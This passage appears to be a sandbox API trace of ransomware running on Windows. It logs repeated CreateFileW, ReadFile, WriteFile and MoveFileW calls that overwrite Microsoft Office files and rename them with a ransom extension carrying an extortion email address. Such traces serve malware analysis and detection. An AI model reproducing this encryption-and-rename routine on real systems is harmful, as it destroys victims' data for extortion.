lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.643] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1145cd4f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdac, dwReserved0=0x720069, dwReserved1=0x780065, cFileName="Calibri.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CALIBR~1.FIR")) returned 0x6d5340 [0138.643] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0138.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0138.643] GetProcessHeap () returned 0x630000 [0138.643] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xdc1) returned 0x727d80 [0138.643] GetProcessHeap () returned 0x630000 [0138.643] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xdc1) returned 0x673b38 [0138.643] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.643] ReadFile (in: hFile=0x68c, lpBuffer=0x727d80, nNumberOfBytesToRead=0xda0, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x54bff0c*=0xda0, lpOverlapped=0x0) returned 1 [0138.715] GetProcessHeap () returned 0x630000 [0138.715] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0138.715] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.715] WriteFile (in: hFile=0x68c, lpBuffer=0x673b38*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x673b38*, lpNumberOfBytesWritten=0x54bff0c*=0xda0, lpOverlapped=0x0) returned 1 [0138.715] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.715] WriteFile (in: hFile=0x68c, lpBuffer=0x6748d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6748d7*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.715] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.715] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.715] CloseHandle (hObject=0x68c) returned 1 [0138.716] GetProcessHeap () returned 0x630000 [0138.716] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x673b38 | out: hHeap=0x630000) returned 1 [0138.716] GetProcessHeap () returned 0x630000 [0138.716] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0138.716] GetProcessHeap () returned 0x630000 [0138.716] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0138.716] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.716] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18a0b9ad, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xdd0, dwReserved0=0xa647496, dwReserved1=0x727d78, cFileName="Calibri.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CALIBR~1.FIR")) returned 0x6d4f00 [0138.716] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0138.716] Sleep (dwMilliseconds=0x1) [0138.768] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml", len=0x4f | out: pbstr=0x54bff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml") returned 1 [0138.768] GetProcessHeap () returned 0x630000 [0138.768] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a28) returned 0x72b0508 [0138.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0138.769] CloseHandle (hObject=0x4e8) returned 1 [0138.769] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.769] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.770] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.770] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdb0, dwReserved0=0x780065, dwReserved1=0x6d0033, cFileName="Arial.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ARIALX~1.FIR")) returned 0x6d4ec0 [0138.770] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0138.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0138.770] GetProcessHeap () returned 0x630000 [0138.770] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xdc1) returned 0x727d80 [0138.770] GetProcessHeap () returned 0x630000 [0138.770] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xdc1) returned 0x673b38 [0138.770] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.770] ReadFile (in: hFile=0x4e8, lpBuffer=0x727d80, nNumberOfBytesToRead=0xda0, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x54bff0c*=0xda0, lpOverlapped=0x0) returned 1 [0138.808] GetProcessHeap () returned 0x630000 [0138.808] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0138.808] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.808] WriteFile (in: hFile=0x4e8, lpBuffer=0x673b38*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x673b38*, lpNumberOfBytesWritten=0x54bff0c*=0xda0, lpOverlapped=0x0) returned 1 [0138.808] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.808] WriteFile (in: hFile=0x4e8, lpBuffer=0x6748d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6748d7*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.808] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.808] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.808] CloseHandle (hObject=0x4e8) returned 1 [0138.809] GetProcessHeap () returned 0x630000 [0138.809] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x673b38 | out: hHeap=0x630000) returned 1 [0138.809] GetProcessHeap () returned 0x630000 [0138.809] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0138.809] GetProcessHeap () returned 0x630000 [0138.809] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0138.880] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.880] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18af05e2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xdd4, dwReserved0=0xa647496, dwReserved1=0x727d78, cFileName="Arial.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ARIALX~1.FIR")) returned 0x6d4f40 [0138.880] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0138.881] Sleep (dwMilliseconds=0x1) [0138.943] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx", len=0x53 | out: pbstr=0x54bff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 1 [0138.943] GetProcessHeap () returned 0x630000 [0138.943] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a10) returned 0x72b0508 [0138.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0138.956] CloseHandle (hObject=0x4e8) returned 1 [0138.956] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.956] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.957] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.957] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x480a2, dwReserved0=0x66002e, dwReserved1=0x720069, cFileName="Riblet.eftx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RIBLET~1.FIR")) returned 0x6d5000 [0138.957] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0138.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0138.958] GetProcessHeap () returned 0x630000 [0138.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x716dc98 [0138.958] GetProcessHeap () returned 0x630000 [0138.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7247db0 [0138.958] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.958] ReadFile (in: hFile=0x4e8, lpBuffer=0x716dc98, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x716dc98*, lpNumberOfBytesRead=0x54bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0142.467] GetProcessHeap () returned 0x630000 [0142.467] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0142.468] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.468] WriteFile (in: hFile=0x4e8, lpBuffer=0x7247db0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7247db0*, lpNumberOfBytesWritten=0x54bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0142.468] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.468] WriteFile (in: hFile=0x4e8, lpBuffer=0x72531af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72531af*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0142.470] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.470] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0142.470] CloseHandle (hObject=0x4e8) returned 1 [0142.470] GetProcessHeap () returned 0x630000 [0142.470] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7247db0 | out: hHeap=0x630000) returned 1 [0142.470] GetProcessHeap () returned 0x630000 [0142.470] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x716dc98 | out: hHeap=0x630000) returned 1 [0142.470] GetProcessHeap () returned 0x630000 [0142.470] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0142.470] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0142.471] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1adf114d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x480c6, dwReserved0=0xa647496, dwReserved1=0x716dc90, cFileName="Riblet.eftx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RIBLET~1.FIR")) returned 0x6d4ec0 [0142.471] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0142.471] Sleep (dwMilliseconds=0x1) [0143.867] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_K_COL.HXK", len=0x45 | out: pbstr=0x54bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_K_COL.HXK") returned 1 [0143.867] GetProcessHeap () returned 0x630000 [0143.867] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26a4) returned 0x71f7c78 [0143.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0145.430] CloseHandle (hObject=0x6e0) returned 1 [0145.430] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0145.430] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0147.175] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.223] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GROOVE~4.FIR")) returned 0x6d53c0 [0147.227] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0147.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\groove_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0147.227] GetProcessHeap () returned 0x630000 [0147.227] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4b38 [0147.227] GetProcessHeap () returned 0x630000 [0147.227] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4a18 [0147.227] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.227] ReadFile (in: hFile=0x6e0, lpBuffer=0x6a4b38, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4b38*, lpNumberOfBytesRead=0x54bff0c*=0x60, lpOverlapped=0x0) returned 1 [0147.228] GetProcessHeap () returned 0x630000 [0147.228] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0147.229] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.229] WriteFile (in: hFile=0x6e0, lpBuffer=0x6a4a18*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4a18*, lpNumberOfBytesWritten=0x54bff0c*=0x60, lpOverlapped=0x0) returned 1 [0147.229] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.229] WriteFile (in: hFile=0x6e0, lpBuffer=0x6a4a77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4a77*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0147.270] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.270] WriteFile (in: hFile=0x6e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0147.271] CloseHandle (hObject=0x6e0) returned 1 [0148.746] GetProcessHeap () returned 0x630000 [0148.746] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4a18 | out: hHeap=0x630000) returned 1 [0148.746] GetProcessHeap () returned 0x630000 [0148.746] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4b38 | out: hHeap=0x630000) returned 1 [0148.746] GetProcessHeap () returned 0x630000 [0148.746] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0148.746] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0148.746] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a9e866, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1dba1197, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x92, dwReserved0=0x54bfd20, dwReserved1=0x6a4b38, cFileName="GROOVE_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GROOVE~4.FIR")) returned 0x6d4e00 [0149.328] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0149.384] Sleep (dwMilliseconds=0x1) [0151.834] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF", len=0x41 | out: pbstr=0x54bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF") returned 1 [0151.834] GetProcessHeap () returned 0x630000 [0151.835] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x713f7f0, Size=0x2b90) returned 0x713f7f0 [0151.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\faxext.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0151.836] CloseHandle (hObject=0x4b8) returned 1 [0151.836] MultiByteToWideChar (in: CodePage=0x3, 